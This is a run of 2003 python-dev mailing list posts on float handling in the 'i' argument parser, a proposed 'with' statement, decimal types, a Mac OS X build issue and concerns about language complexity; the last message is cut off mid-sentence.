> ! - The PyArg_Parse functions now issue a DeprecationWarning if a float
> !   argument is provided when an integer is specified (this affects the 'b',
> !   'B', 'h', 'H', 'i', and 'l' codes).  Future versions of Python will
> !   raise a TypeError.

I must have missed something (again). Where was this discussed in
public ?

I've read a quote from Guido on the SF tracker:
"""
This is an age-old problem that crops up whenever "i"
and similar format codes are used.

The problem is that on the one hand you want "i" to
accept other int-ish types that have an __int__ method. But on the
other hand you don't want it to accept float, which also has
an __int__ method. Or other float-ish types.

I think the "i" format code has to be fixed, but I'm
not sure how -- maybe as a start it would be sufficient to test
explicitly for float and its subclasses and reject those.
That would still allow 3rd party float-ish classes that
implement __int__, but that's not so important.
"""

I tend to *not* go conform with this opinion. If a type
implements __int__ then it should be accepted whereever
"i" is used. If the type feels that this usage is not
ideal, then the *type* should issue the warning or
TypeError, not the getargs.c implementation.

Apart from this, the change is going to break tons of code,
once the TypeError is enforced and due to the dynamic
nature of Python a single release cycle will not be
enough to catch all places where an explicit int()
would be required...

Which makes me think: int() started
to return longs a few months ago -- we don't even have
a cast which would raise an OverlfowError in case
the conversion to int is not possible. Of course, int()
would return a long and then the "i" parser marker
implementation would complain, but that may be too late, e.g.
in the case where you pass the data over the wire or
store it in a file for later processing.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
_______________________________________________________________________
eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,...
Python Consulting:                               http://www.egenix.com/
Python Software:                    http://www.egenix.com/files/python/



From mal@lemburg.com  Wed Feb  5 09:07:12 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 05 Feb 2003 10:07:12 +0100
Subject: [Python-Dev] thunks
In-Reply-To: <15936.12961.598773.128987@slothrop.zope.com>
References: <200302031653.h13Grof20104@odiug.zope.com>	<3E4019C5.2020408@lemburg.com> <15936.12961.598773.128987@slothrop.zope.com>
Message-ID: <3E40D440.7040500@lemburg.com>

Jeremy Hylton wrote:
>>>>>>"MAL" == M  <M.-A.> writes:
> 
>   MAL> Tim, what have you been putting into Guido's coffee the last
>   MAL> few days ?
> 
> Right idea, wrong question.  The only thing we've got in the office is
> a colored beverage that is reminiscent of coffee.  You should ask what
> Tim is putting in Guido's pickles.

At least that's more or less documented in a PEP (hmm, perhaps
he forgot to update the TBD section ;-)

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
_______________________________________________________________________
eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,...
Python Consulting:                               http://www.egenix.com/
Python Software:                    http://www.egenix.com/files/python/



From mal@lemburg.com  Wed Feb  5 09:18:23 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 05 Feb 2003 10:18:23 +0100
Subject: trying times [Python-Dev] thunks
In-Reply-To: <068a01c2cc8e$31e97140$6d94fea9@newmexico>
References: <200302031653.h13Grof20104@odiug.zope.com>	<3E4019C5.2020408@lemburg.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico>
Message-ID: <3E40D6DF.4000904@lemburg.com>

Samuele Pedroni wrote:
> From: "M.-A. Lemburg" <mal@lemburg.com>
> 
>>Tim, what have you been putting into Guido's coffee the last few
>>days ? Colons seem to have grown magical expressiveness and now he
>>even likes lambdas ;-)
> 
> these are trying times:
> 
> http://online.effbot.org/2003_02_01_archive.htm#python-dev

Trying is fine, but Fredrik has a point there.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
_______________________________________________________________________
eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,...
Python Consulting:                               http://www.egenix.com/
Python Software:                    http://www.egenix.com/files/python/



From Paul.Moore@atosorigin.com  Wed Feb  5 09:49:51 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Wed, 5 Feb 2003 09:49:51 -0000
Subject: [Python-Dev] With statement
Message-ID: <16E1010E4581B049ABC51D4975CEDB886199DB@UKDCX001.uk.int.atosorigin.com>

From: Alex Martelli [mailto:aleax@aleax.it]
> Indeed, why _shouldn't_ file do the obvious thing?  Just
> like it has a __del__ =3D close, so should it have an __exit__
> (the latter only if with IS introduced, of course).

I've added a note to the PEP. The main disadvantage I can see
is that if file objects have __exit__ =3D close, then people will
write code which uses "with myfile". That code then won't work
with a StringIO object (unless StringIO grows an __exit__
method). OK, so we add it to StringIO. But my point is that
__exit__ =3D close becomes an important part of the "file-like
object" protocol.

I don't have a strong opinion. I've left it as an open issue.
(Actually, I do have a strong opinion - I don't want to add
more requirements to the already-vague file object protocol,
just for the sake of convenience. But I don't want to spend
time arguing over it :-))

Paul


From oren-py-d@hishome.net  Wed Feb  5 10:11:18 2003
From: oren-py-d@hishome.net (Oren Tirosh)
Date: Wed, 5 Feb 2003 05:11:18 -0500
Subject: [Python-Dev] With statement
In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com>
References: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com>
Message-ID: <20030205101118.GA65334@hishome.net>

On Tue, Feb 04, 2003 at 11:58:15AM -0000, Moore, Paul wrote:
> I'm rapidly tending towards a preference for extreme simplicity in the with
> statement. My basic logic is that the C++ idiom for all this is pretty
> minimal, and works well (even though C++ has no "finally" equivalent, so the
> need is more pressing in C++).
> 
> So, my current feeling is:
> 
>     'with' expr ':'
>         suite
> 
> expands to
> 
>     _x = expr
>     if hasattr(_x, '__enter__'):
>         _x.__enter__()
>     try:
>         suite
>     finally:
> 	if hasattr(_x, '__exit__'):
> 	    _x.__exit__()

Hmmm, __enter__ and __exit__ still look suspiciously like __init__
and __del__ to me. If the problem is that __del__ is not guaranteed to be 
called if there are remaining references to the object (or in a GC based 
system like Jython) why not address this issue directly?

Let's assume that a new 'local' statement is added to Python. At the end 
of the current block the __del__ method of any references declared local 
is guaranteed to be called. The object must have exactly one remaining 
reference, otherwise an exception is raised. In a GC implementation it may 
make some change to the object so that any remaining references to it 
become stale references and raise an exception as soon as they are touched 
in any way. Note that a reference to a closed file object is already a 
stale reference and raises an exception if any I/O operation is attempted 
on it.

So autoclose just becomes:

local f = open(...)

Automatic reference counting and garbage collection is great most of the
time but more explicit control of the intended lifetime of an object can 
sometimes be useful.

	Oren



From duncan@rcp.co.uk  Wed Feb  5 10:32:03 2003
From: duncan@rcp.co.uk (Duncan Booth)
Date: Wed, 5 Feb 2003 10:32:03 +0000
Subject: [Python-Dev] With statement
References: <3E3FF36A.2897.6EF9DD6@localhost> <200302050337.h153b4v12977@oma.cosc.canterbury.ac.nz>
Message-ID: <Xns93196ADDE2DD3duncanrcpcouk@127.0.0.1>

Greg Ewing <greg@cosc.canterbury.ac.nz> wrote in 
news:200302050337.h153b4v12977@oma.cosc.canterbury.ac.nz:

>>    with lock(my_lock):
>>        # protected code
> 
> But if my_lock is already a lock object, with appropriate enter 
> and leave methods, what would the lock() function do?
> 
> If the answer is
> 
>   def lock(x):
>     return x
> 
> then I'd say that I don't like the idea of a do-nothing
> function whose purpose is only to make the code look
> pretty.
> 

Sorry, I didn't make myself clear. 'lock' here is an adapter class to let 
Threading.Lock be used in a with statement. The definition would be:

class lock:
   def __init__(self, lockable):
       self.lockable = lockable
       lockable.acquire()
   def __exit__(self):
       self.lockable.release()

My point being that the existing proposal with __enter__ and __exit__ may 
be replaced by a simpler proposal with only __exit__ by using a class which 
does the __enter__ functionality in the constructor.

If the proposal was to change the existing Threading.Lock class so that it 
directly supported use in a 'with' statement, then one way would be to add 
__enter__ and __exit__ methods. An alternative which doesn't require 
__enter__ at all would be to add a single 'lock' method that creates a lock 
object as defined above. Then the code might look something like:

    my_lock = Threading.Lock()
    ...
    with my_lock.lock():
        ... protected code ...


-- 
Duncan Booth                                             duncan@rcp.co.uk
int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3"
"\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure?


From tismer@tismer.com  Wed Feb  5 11:31:44 2003
From: tismer@tismer.com (Christian Tismer)
Date: Wed, 05 Feb 2003 12:31:44 +0100
Subject: Shame on us all! (was: trying times [Python-Dev] thunks)
In-Reply-To: <3E40D6DF.4000904@lemburg.com>
References: <200302031653.h13Grof20104@odiug.zope.com>	<3E4019C5.2020408@lemburg.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <3E40D6DF.4000904@lemburg.com>
Message-ID: <3E40F620.2090708@tismer.com>

M.-A. Lemburg wrote:
> Samuele Pedroni wrote:
> 
>> From: "M.-A. Lemburg" <mal@lemburg.com>
>>
>>> Tim, what have you been putting into Guido's coffee the last few
>>> days ? Colons seem to have grown magical expressiveness and now he
>>> even likes lambdas ;-)
>>
>>
>> these are trying times:
>>
>> http://online.effbot.org/2003_02_01_archive.htm#python-dev
> 
> 
> Trying is fine, but Fredrik has a point there.

If that weren's enough, python-dev is topping itself:

"""
python-dev is discussing decimal arithmetics
in a thread titled "why did fredrik leave the party"
"""

http://online.effbot.org/2003_02_01_archive.htm#irony

Subject lines seem to have no relevance any longer
in this list. Let's continue this way and see more
people saying good-bye.

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/



From mal@lemburg.com  Wed Feb  5 11:34:22 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 05 Feb 2003 12:34:22 +0100
Subject: [Python-Dev] Fixed-point numeric type
In-Reply-To: <Pine.LNX.4.33.0302042346560.8775-100000@server1.lfw.org>
References: <Pine.LNX.4.33.0302042346560.8775-100000@server1.lfw.org>
Message-ID: <3E40F6BE.10107@lemburg.com>

Just as data point:

I started developing mxNumber to experiment with fixed point
and rational numeric types (supplied by GMP). My original intention
was to make use of these in mxODBC since databases rather commonly
use DECIMAL as database column type.

The net-interest was next to zero which is why I stopped bothering.
I may still continue due to reasons of roundtrip safety in
database interfacing, but I'm inclined to believe that Python
users in the financial business either have no interest or
have found their own particular solutions to the problem of
dealing with fixed point arithmetic (mostly to store monetary
values) -- provided that rounding pays off for them, I don't
think that they are bothered at all with using floats ;-)

BTW, mxNumber types implement many of Ping's requests. And they
are fast as hell, since the underlying GMP implementation uses
assembler where possible.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
_______________________________________________________________________
eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,...
Python Consulting:                               http://www.egenix.com/
Python Software:                    http://www.egenix.com/files/python/



From jacobs@penguin.theopalgroup.com  Wed Feb  5 12:27:33 2003
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Wed, 5 Feb 2003 07:27:33 -0500 (EST)
Subject: [Python-Dev] Fixed-point numeric type
In-Reply-To: <3E40F6BE.10107@lemburg.com>
Message-ID: <Pine.LNX.4.44.0302050716050.1211-100000@penguin.theopalgroup.com>

On Wed, 5 Feb 2003, M.-A. Lemburg wrote:
> Just as data point:
> 
> I started developing mxNumber to experiment with fixed point
> and rational numeric types (supplied by GMP). My original intention
> was to make use of these in mxODBC since databases rather commonly
> use DECIMAL as database column type.
> 
> The net-interest was next to zero which is why I stopped bothering.

I'm finding that this is a problem in education, not desire.  Once you
educate developers, they will demand decimal types.  Unfortunately, I've
found that many db developers are completely ignorant of the caveats of both
fixed and floating point arithmetic.  They naively "just want things to
work" and aren't too worried about the details or the corner-cases.  (I
blame this on the cruddy computer science content of many CIS degree
programs, but that is a topic for a different rant.)

Nevertheless, I would like to seeing proper fixed point support in the
Python standard library with integration advise in a DB-API extension
standard or PEP.  As it is, our applications patch many of the DB-API
modules to add support for our own homebrew decimal types, and it is fairly
cumbersome to maintain.

> I may still continue due to reasons of roundtrip safety in
> database interfacing, but I'm inclined to believe that Python
> users in the financial business either have no interest or
> have found their own particular solutions to the problem of
> dealing with fixed point arithmetic [...]

We (my company) are in the latter camp.  However, I've talked to a number of
developers who decided not to use Python for financial apps because DB-API
drivers punt on decimal types.  Maybe that is why it is so quiet on this
front?

Regards,
-Kevin

-- 
--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From guido@python.org  Wed Feb  5 13:05:33 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 08:05:33 -0500
Subject: trying times [Python-Dev] thunks
In-Reply-To: "Your message of Wed, 05 Feb 2003 10:18:23 +0100."
 <3E40D6DF.4000904@lemburg.com>
References: <200302031653.h13Grof20104@odiug.zope.com>
 <3E4019C5.2020408@lemburg.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico>
 <3E40D6DF.4000904@lemburg.com>
Message-ID: <200302051305.h15D5Ya23805@pcp02138704pcs.reston01.va.comcast.net>

> > these are trying times:
> > 
> > http://online.effbot.org/2003_02_01_archive.htm#python-dev
> 
> Trying is fine, but Fredrik has a point there.

Followup:

  http://online.effbot.org/2003_02_01_archive.htm#irony

"""
# irony: python-dev is discussing decimal arithmetics in a thread
titled "why did fredrik leave the party". to the extent yesterday's
post had a point, I think this proves it ;-)
"""

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Wed Feb  5 13:24:40 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 08:24:40 -0500
Subject: [Python-Dev] Passing floats to "i" parser marker
In-Reply-To: "Your message of Wed, 05 Feb 2003 09:59:17 +0100."
 <3E40D265.8080005@lemburg.com>
References: <E18gAAX-0002eQ-00@sc8-pr-cvs1.sourceforge.net>
 <3E40D265.8080005@lemburg.com>
Message-ID: <200302051324.h15DOeJ23879@pcp02138704pcs.reston01.va.comcast.net>

> I must have missed something (again). Where was this discussed in
> public ?

The problem (and my opinion) has come up here on and off many times.

> I've read a quote from Guido on the SF tracker:
> """
> This is an age-old problem that crops up whenever "i"
> and similar format codes are used.
> 
> The problem is that on the one hand you want "i" to
> accept other int-ish types that have an __int__ method. But on the
> other hand you don't want it to accept float, which also has
> an __int__ method. Or other float-ish types.
> 
> I think the "i" format code has to be fixed, but I'm
> not sure how -- maybe as a start it would be sufficient to test
> explicitly for float and its subclasses and reject those.
> That would still allow 3rd party float-ish classes that
> implement __int__, but that's not so important.
> """
> 
> I tend to *not* go conform with this opinion. If a type
> implements __int__ then it should be accepted whereever
> "i" is used. If the type feels that this usage is not
> ideal, then the *type* should issue the warning or
> TypeError, not the getargs.c implementation.

Since all the type knows is that it's __int__ method is called, not
that this is in the context of getargs.c, how could it protest in this
case without protesting about all calls to int()?

The problem is really with the semantic definition of int().  There
should have been two different functions: one to convert an int from
some other representation to a real int, and one to truncate a float
or similar number to an int, losing information.  (The latter actually
requires several, or a way to specify the rounding mode.
Unfortunately round() and math.floor()/ceil() can't be used since
these return floats themselves.)

Fixing this would require a much larger change to the language, with
much more backwards incompatibilities to worry about; changing "i"
etc. to explicitly refuse float is a band-aid that catches most of the
cases.

By far the majority of types that implement __int__ represent int-like
data; only floats and rationals use __int__ for losing information.
That's why the above solution was chosen.

> Apart from this, the change is going to break tons of code,
> once the TypeError is enforced and due to the dynamic
> nature of Python a single release cycle will not be
> enough to catch all places where an explicit int()
> would be required...

We'll change to a TypeError when we are confident that it won't break
too much code.

Why do you think so much will break?  In Python 2.2, you can write

  a = range(10)
  a.insert(3.14, 0)

and it will insert a 0 at position 3.  This is undocumented.  Do you
really think anyone in the world willfully uses this?

> Which makes me think: int() started
> to return longs a few months ago -- we don't even have
> a cast which would raise an OverlfowError in case
> the conversion to int is not possible.

Why would you need one (except in C code, where "i" is such a cast)?
In the future, the difference between int and long will disappear
completely.

> Of course, int()
> would return a long and then the "i" parser marker
> implementation would complain, but that may be too late, e.g.
> in the case where you pass the data over the wire or
> store it in a file for later processing.

YAGNI.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Wed Feb  5 13:32:47 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 08:32:47 -0500
Subject: [Python-Dev] New syntax threads -- summary wanted
Message-ID: <200302051332.h15DWmh23920@pcp02138704pcs.reston01.va.comcast.net>

I am asking everyone who has participated in the thread(s) about new
syntax (with, thunks, etc.) to hold off posting for a day, and think
about summarizing the state of the discussion.  Then if someone could
post a summary of the various proposals on the table, with the key
arguments pro and con for each, I'd like to start continuing.  The
goal at this point should be one or more PEPs.  If you would like to
volunteer to (co-)author a thread summary, please post to the list.
The first volunteer to post gets to coordinate the others.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mwh@python.net  Wed Feb  5 13:42:39 2003
From: mwh@python.net (Michael Hudson)
Date: Wed, 05 Feb 2003 13:42:39 +0000
Subject: trying times [Python-Dev] thunks
In-Reply-To: <3E40D6DF.4000904@lemburg.com> ("M.-A. Lemburg"'s message of
 "Wed, 05 Feb 2003 10:18:23 +0100")
References: <200302031653.h13Grof20104@odiug.zope.com>
 <3E4019C5.2020408@lemburg.com>
 <068a01c2cc8e$31e97140$6d94fea9@newmexico>
 <3E40D6DF.4000904@lemburg.com>
Message-ID: <2mptq6oncg.fsf@starship.python.net>

"M.-A. Lemburg" <mal@lemburg.com> writes:

>> these are trying times:
>> http://online.effbot.org/2003_02_01_archive.htm#python-dev
>
> Trying is fine, but Fredrik has a point there.

Yes: he needs a better mail reader.

mostly-serious-ly y'rs,
M.

(actually someone has already suggesting throwing a newsreader at the
problem, to judge by the follow-up).

-- 
  If you don't have friends with whom to share links and conversation,
  you have social problems and you should confront them instead of
  joining a cultlike pseudo-community.    -- "Quit Slashdot.org Today!"
   (http://www.cs.washington.edu/homes/klee/misc/slashdot.html#faq)


From mwh@python.net  Wed Feb  5 13:44:46 2003
From: mwh@python.net (Michael Hudson)
Date: Wed, 05 Feb 2003 13:44:46 +0000
Subject: [Python-Dev] BUILDEXE erroneously empty on 2.2.2 for Mac OS X?
In-Reply-To: <15936.18440.704332.854883@montanaro.dyndns.org> (Skip
 Montanaro's message of "Tue, 4 Feb 2003 17:08:56 -0600")
References: <15936.18440.704332.854883@montanaro.dyndns.org>
Message-ID: <2mn0laon8x.fsf@starship.python.net>

Skip Montanaro <skip@pobox.com> writes:

> I just wiped my maint22 directory clean, did a cvs up, configure and make on
> my Mac OS X machine.  BUILDEXE got set to the empty string, so the link step
> for the interpreter failed.  Is this a known problem?  I haven't rebuilt
> 2.2.2 in awhile (since October).  This was a vanilla Unix build, nothing
> fancy.

I don't think the case-sensitive file-system chack has ever made it to
the 22-maint branch.  Feel free to backport it, but notice that
22-maint still uses autoconf 2.13 (I /suspect/ this is why it hasn't
happened before).

Cheers,
M.

-- 
  Q: Isn't it okay to just read Slashdot for the links?
  A: No. Reading Slashdot for the links is like having "just one hit"
     off the crack pipe.
     -- http://www.cs.washington.edu/homes/klee/misc/slashdot.html#faq


From lutz@rmi.net  Wed Feb  5 13:58:14 2003
From: lutz@rmi.net (Mark Lutz)
Date: Wed, 5 Feb 2003 06:58:14 -0700
Subject: [Python-Dev] Why did Fredrik leave the party?
References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy>

Guido wrote:
> > Generators are cool once you understand them, but they raise the bar
> > for someone new to the language.
> 
> That all depends.  You don't have to teach generators at all in an
> introductory course -- you don't even have to teach iterators.  But
> all this has been discussed many times before here in numerous
> threads.

Not true.  I don't think people on  python-dev are in touch
with the impacts of their changes on the Python learning curve.

In every organization, there will be both advanced programmers 
and beginners.  And in every organization, there will be at least 
one advanced programmer who will discover and use the new 
cool features, and thus impose them upon everyone else.  

Trust me on this.  I've met these people; hell, I used to be one 
of these people :-).  The fact is, today, some of the most common
questions I get in Python classes have to do with new things like 
list comprehensions and generators, regardless of class makeup.

I don't have time to argue the merits of adding new features in the
first place.  But please, let's not be naive about their impact on 
the perceived simplicity of Python.  Like it or not, beginners do
need to know about new things, even if they will not be coding them.

And like it or not, Python has indeed lost much of the simplicity that
attracted some.  There's always been a dichotomy of people who want
to keep it simple, and people who want to add new features.  After
just updating Learning Python, it's pretty obvious that the latter group
has won the tug of war in recent years.  Try explaining the current 3 
flavors of division to a beginner sometime and you'll see what I mean.

--Mark Lutz  (http://www.rmi.net/~lutz)





From mwh@python.net  Wed Feb  5 13:35:57 2003
From: mwh@python.net (Michael Hudson)
Date: Wed, 05 Feb 2003 13:35:57 +0000
Subject: [Python-Dev] With statement
In-Reply-To: <20030205101118.GA65334@hishome.net> (Oren Tirosh's message of
 "Wed, 5 Feb 2003 05:11:18 -0500")
References: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com>
 <20030205101118.GA65334@hishome.net>
Message-ID: <2msmv2onnm.fsf@starship.python.net>

Oren Tirosh <oren-py-d@hishome.net> writes:

> Let's assume that a new 'local' statement is added to Python. At the end 
> of the current block the __del__ method of any references declared local 
> is guaranteed to be called. The object must have exactly one remaining 
> reference, otherwise an exception is raised. In a GC implementation it may 
> make some change to the object so that any remaining references to it 
> become stale references and raise an exception as soon as they are touched 
> in any way. Note that a reference to a closed file object is already a 
> stale reference and raises an exception if any I/O operation is attempted 
> on it.

Two comments:

1) The resource-allocation-is-initialization pattern works very well
   in C++, but I'm unconvinced that we should aim to copy it exactly
   -- it's a nice solution to the problem, but not the only possible
   or best one, IMHO.

2) Without the ability to define a scope at will, RAiI becomes less useful.

Cheers,
M.

-- 
  If your telephone company installs a system in the woods with no
  one around to see them, do they still get it wrong?
                                 -- Robert Moir, alt.sysadmin.recovery


From skip@pobox.com  Wed Feb  5 14:34:50 2003
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 5 Feb 2003 08:34:50 -0600
Subject: [Python-Dev] BUILDEXE erroneously empty on 2.2.2 for Mac OS X?
In-Reply-To: <2mn0laon8x.fsf@starship.python.net>
References: <15936.18440.704332.854883@montanaro.dyndns.org>
 <2mn0laon8x.fsf@starship.python.net>
Message-ID: <15937.8458.403942.646553@montanaro.dyndns.org>

    >> I just wiped my maint22 directory clean, did a cvs up, configure and
    >> make on my Mac OS X machine.  BUILDEXE got set to the empty string,

    Michael> I don't think the case-sensitive file-system chack has ever
    Michael> made it to the 22-maint branch.

I think the build worked fine for me back in October (at least I don't
remember having to execute "make BUILDEXE=.exe".  It seems something changed
in the intervening time.

    Michael> Feel free to backport it...

Since you are the acknowledged backport master, and I have never done a
retrospective backport before, can you give me some clues about how to find
"it"?

Skip


From mal@lemburg.com  Wed Feb  5 14:41:05 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 05 Feb 2003 15:41:05 +0100
Subject: [Python-Dev] Passing floats to "i" parser marker
In-Reply-To: <200302051324.h15DOeJ23879@pcp02138704pcs.reston01.va.comcast.net>
References: <E18gAAX-0002eQ-00@sc8-pr-cvs1.sourceforge.net> <3E40D265.8080005@lemburg.com> <200302051324.h15DOeJ23879@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <3E412281.4050106@lemburg.com>

Guido van Rossum wrote:
>>I must have missed something (again). Where was this discussed in
>>public ?
> 
> 
> The problem (and my opinion) has come up here on and off many times.

Hmm, I must have been on vacation then :-)

>>I've read a quote from Guido on the SF tracker:
>>"""
>>This is an age-old problem that crops up whenever "i"
>>and similar format codes are used.
>>
>>The problem is that on the one hand you want "i" to
>>accept other int-ish types that have an __int__ method. But on the
>>other hand you don't want it to accept float, which also has
>>an __int__ method. Or other float-ish types.
>>
>>I think the "i" format code has to be fixed, but I'm
>>not sure how -- maybe as a start it would be sufficient to test
>>explicitly for float and its subclasses and reject those.
>>That would still allow 3rd party float-ish classes that
>>implement __int__, but that's not so important.
>>"""
>>
>>I tend to *not* go conform with this opinion. If a type
>>implements __int__ then it should be accepted whereever
>>"i" is used. If the type feels that this usage is not
>>ideal, then the *type* should issue the warning or
>>TypeError, not the getargs.c implementation.
> 
> Since all the type knows is that it's __int__ method is called, not
> that this is in the context of getargs.c, how could it protest in this
> case without protesting about all calls to int()?

But that's the point: "i" should work just like int() does
w/r to the __int__ slot and it does, so nothing is broken
which would need fixing.

IMHO, the right way to fix what you think is broken is by introducing
a new parser marker with your new semantics. Then use that parser
marker whereever it is found meaningful.

> The problem is really with the semantic definition of int().  There
> should have been two different functions: one to convert an int from
> some other representation to a real int, and one to truncate a float
> or similar number to an int, losing information.  (The latter actually
> requires several, or a way to specify the rounding mode.
> Unfortunately round() and math.floor()/ceil() can't be used since
> these return floats themselves.)
> 
> Fixing this would require a much larger change to the language, with
> much more backwards incompatibilities to worry about; changing "i"
> etc. to explicitly refuse float is a band-aid that catches most of the
> cases.

The problem is that your change propogates to all third-party
extensions as well and that's not desirable in all cases. IMHO,
it is not even desirable for all cases in the Python interpreter
(see below).

> By far the majority of types that implement __int__ represent int-like
> data; only floats and rationals use __int__ for losing information.
> That's why the above solution was chosen.

I'm sure that all numeric-like types implement __int__ for
the sake of being compatible to int().

>>Apart from this, the change is going to break tons of code,
>>once the TypeError is enforced and due to the dynamic
>>nature of Python a single release cycle will not be
>>enough to catch all places where an explicit int()
>>would be required...
> 
> We'll change to a TypeError when we are confident that it won't break
> too much code.
> 
> Why do you think so much will break?  In Python 2.2, you can write
> 
>   a = range(10)
>   a.insert(3.14, 0)
> 
> and it will insert a 0 at position 3.  This is undocumented.  Do you
> really think anyone in the world willfully uses this?

No, this is one spot where the new parser marker would fit
well. Still, even in this case I think that passing
floats to "i" is perfectly OK, namely in all those cases
where no loss of data occurs, e.g. passing 13.0 to "i"
should be accepted as 13.

>>Which makes me think: int() started
>>to return longs a few months ago -- we don't even have
>>a cast which would raise an OverlfowError in case
>>the conversion to int is not possible.
> 
> Why would you need one (except in C code, where "i" is such a cast)?

For exactly this case -- to make sure that "i" doesn't
overflow when receiving the return value from int().

> In the future, the difference between int and long will disappear
> completely.
 >
>>Of course, int()
>>would return a long and then the "i" parser marker
>>implementation would complain, but that may be too late, e.g.
>>in the case where you pass the data over the wire or
>>store it in a file for later processing.
> 
> YAGNI.

I wasn't proposing anything in the above paragraph...
what does YAGNI apply to here ?

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
_______________________________________________________________________
eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,...
Python Consulting:                               http://www.egenix.com/
Python Software:                    http://www.egenix.com/files/python/



From guido@python.org  Wed Feb  5 14:48:21 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 09:48:21 -0500
Subject: [Python-Dev] Why did Fredrik leave the party?
In-Reply-To: Your message of "Wed, 05 Feb 2003 06:58:14 MST."
 <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy>
References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net>
 <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy>
Message-ID: <200302051448.h15EmL428173@odiug.zope.com>

[Michael]
> > > Generators are cool once you understand them, but they raise the bar
> > > for someone new to the language.

[Guido]
> > That all depends.  You don't have to teach generators at all in an
> > introductory course -- you don't even have to teach iterators.  But
> > all this has been discussed many times before here in numerous
> > threads.

[Mark]
> Not true.  I don't think people on  python-dev are in touch
> with the impacts of their changes on the Python learning curve.
> 
> In every organization, there will be both advanced programmers 
> and beginners.  And in every organization, there will be at least 
> one advanced programmer who will discover and use the new 
> cool features, and thus impose them upon everyone else.  
> 
> Trust me on this.  I've met these people; hell, I used to be one 
> of these people :-).  The fact is, today, some of the most common
> questions I get in Python classes have to do with new things like 
> list comprehensions and generators, regardless of class makeup.
> 
> I don't have time to argue the merits of adding new features in the
> first place.  But please, let's not be naive about their impact on 
> the perceived simplicity of Python.  Like it or not, beginners do
> need to know about new things, even if they will not be coding them.
> 
> And like it or not, Python has indeed lost much of the simplicity that
> attracted some.  There's always been a dichotomy of people who want
> to keep it simple, and people who want to add new features.  After
> just updating Learning Python, it's pretty obvious that the latter group
> has won the tug of war in recent years.  Try explaining the current 3 
> flavors of division to a beginner sometime and you'll see what I mean.

Thanks for the reality check!

One of the problems with "improving" a complex software system is
that, no matter how hard you try, it's nearly impossible to take away
thing, so that when a new solution for an old issue is added, the old
solution stays around.

The division operator is a case in point: in Python 3.0, there will
only be two division operators: floor division and true division.
Arguably, this is no more complex than the situation before // was
introduced: while there was only one division operator, there were two
kinds of semantics that one had to learn and watch out for.  (I assure
you we've all been bitten by this more than once.  Most recently, I
saw it on the review page of a certain conference, in the calculation
of the average score of submitted papers. [*])  But the transitional
situation has the union of the old and the new world, and hence is
more messy than either.

There's also the tension between making the language simpler (to
learn) and making programs simpler (to read).  For example, *if* (and
that's still a very big if) we were to add a language feature that
would let you write

    synchronized(lock):
        BLOCK

instead of

    lock.aqcuire()
    try:
        BLOCK
    finally:
        lock.release()

I assure you that this makes programs that use locks more readable,
which reduces maintenance costs down the road.  But at the same time
we can't hope to reduce every idiom to a single statement, and we must
be careful not to destroy the language by adding too many "neat
tricks".

It's a delicate balance, and the occasional reality check from the
field is much appreciated.

_____
[*] In 3.0, you'll have to remember that if you want integer division,
you must write // instead of /.  But the problems caused by writing /
where you intended // are usually immediately obvious (often the
